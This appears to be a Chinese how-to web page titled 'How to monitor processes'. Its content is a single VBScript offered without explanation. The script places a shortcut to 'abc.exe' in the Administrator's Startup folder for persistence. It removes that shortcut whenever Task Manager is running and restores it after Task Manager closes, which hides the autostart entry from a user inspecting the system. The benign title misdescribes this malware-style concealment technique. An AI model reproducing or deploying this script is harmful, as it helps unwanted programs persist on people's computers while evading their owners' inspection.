您的位置首页百科知识

如何监视进程

如何监视进程

的有关信息介绍如下:

如何监视进程

Set ws=WScript.CreateObject("wscript.shell") Set fso=WScript.CreateObject("scripting.filesystemobject") Set fs1=fso.GetFile("abc.exe") dq=ws.CurrentDirectory Set short=ws.CreateShortcut(dq & "\abc.lnk") short.targetpath=fs1.Path short.save Set fs2=fso.GetFile(dq & "\abc.lnk") fs2.Copy("C:\Documents and Settings\Administrator\「开始」菜单\程序\启动\") Call fun1 Function fun1 do Set wmi=GetObject("winmgmts:\\.\root\cimv2") Set list1=wmi.execquery("select * from win32_process where name='taskmgr.exe'") If list1.count<>0 Then If fso.FileExists("C:\Documents and Settings\Administrator\「开始」菜单\程序\启动\abc.lnk") Then Set fs2=fso.GetFile("C:\Documents and Settings\Administrator\「开始」菜单\程序\启动\abc.lnk") fs2.Delete End If Call fun2 Exit do End If WScript.Sleep 2000 Loop End Function Function fun2 Set wmi=GetObject("winmgmts:\\.\root\cimv2") Set list2=wmi.ExecNotificationQuery("select * from __InstanceDeletionEvent WithIn 1 where targetinstance isa 'win32_process'") Do While True Set ev=list2.nextevent If ev.targetinstance.name="taskmgr.exe" Then Set fs2=fso.GetFile(dq & "\abc.lnk") fs2.Copy("C:\Documents and Settings\Administrator\「开始」菜单\程序\启动\") Call fun1 Exit do End if loop End Function